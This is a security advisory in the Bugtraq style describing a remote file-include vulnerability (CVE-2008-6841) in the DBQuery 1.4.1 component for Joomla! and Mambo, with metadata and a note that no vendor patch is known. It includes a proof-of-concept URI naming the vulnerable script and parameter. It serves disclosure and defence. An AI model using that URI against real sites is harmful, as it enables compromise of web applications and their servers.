Joomla! and Mambo DBQuery Component 'mosConfig_absolute_path' Remote File Include Vulnerability

Bugtraq ID:	30093
Class:	Input Validation Error
CVE:	CVE-2008-6841
Remote:	Yes
Local:	No
Published:	Jul 04 2008 12:00AM
Updated:	May 07 2015 05:27PM
Credit:	SsEs
Vulnerable:	Green Mountain Information Technology and Consulting DBQuery 1.4.1
Not Vulnerable:

Joomla! and Mambo DBQuery Component 'mosConfig_absolute_path' Remote File Include Vulnerability

The DBQuery component for Joomla! and Mambo is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

DBQuery 1.4.1 is vulnerable; other versions may also be affected.

Joomla! and Mambo DBQuery Component 'mosConfig_absolute_path' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=[RFI]

Joomla! and Mambo DBQuery Component 'mosConfig_absolute_path' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! and Mambo DBQuery Component 'mosConfig_absolute_path' Remote File Include Vulnerability

References:

• DBQuery Homepage (Green Mountain Information Technology And Consulting)